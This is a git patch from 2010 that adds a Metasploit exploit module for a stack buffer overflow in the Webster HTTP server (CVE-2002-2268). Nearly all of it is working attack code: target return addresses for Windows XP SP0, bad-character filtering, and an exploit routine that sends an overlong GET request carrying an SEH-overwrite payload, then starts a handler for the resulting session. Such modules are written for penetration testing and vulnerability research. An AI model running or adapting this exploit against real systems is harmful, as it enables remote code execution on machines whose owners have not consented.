From b97cbff5aff8190420e1212a0c0d38429eb29982 Mon Sep 17 00:00:00 2001 From: Patrick Webster Date: Wed, 3 Nov 2010 12:19:19 +0000 Subject: [PATCH] Added webster_http exploit module. git-svn-id: file:///home/svn/framework3/trunk@10887 4d416f70-5f16-0410-b530-b9f4589650da --- modules/exploits/windows/http/webster_http.rb | 67 +++++++++++++++++++ 1 file changed, 67 insertions(+) create mode 100644 modules/exploits/windows/http/webster_http.rb diff --git a/modules/exploits/windows/http/webster_http.rb b/modules/exploits/windows/http/webster_http.rb new file mode 100644 index 0000000000..2f4925a850 --- /dev/null +++ b/modules/exploits/windows/http/webster_http.rb @@ -0,0 +1,67 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = AverageRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Webster HTTP Server GET Buffer Overflow', + 'Description' => %q{ + This exploits a stack buffer overflow in the Webster HTTP server. + The server and source code was released within an article from + the Microsoft Systems Journal in February 1996 titled "Write a + Simple HTTP-based Server Using MFC and Windows Sockets". + }, + 'Author' => [ 'patrick' ], + 'Version' => '$Revision$', + 'References' => + [ + [ 'CVE', '2002-2268' ], + [ 'OSVDB', '44106' ], + [ 'BID', '6289' ], + [ 'URL', 'http://www.microsoft.com/msj/archive/s25f.aspx' ], + [ 'URL', 'http://www.netdave.com/webster/webster.htm' ], + ], + 'Privileged' => false, + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true, + 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows XP SP0', { 'Ret' => 0x71aa32ad } ] , # pop esi; pop ebx; ret ws2help.dll winxp + [ 'Debug', { 'Ret' => 0x44434241 } ] , # todo - add more targets. + ], + 'DisclosureDate' => 'Dec 02 2002', + 'DefaultTarget' => 0)) + end + + def exploit + print_status("Sending request...") + seh = generate_seh_payload(target.ret) + + send_request_raw({ + 'uri' => "/" + Rex::Text.rand_text_alphanumeric(266) + seh + }, 2) + + handler + end + +end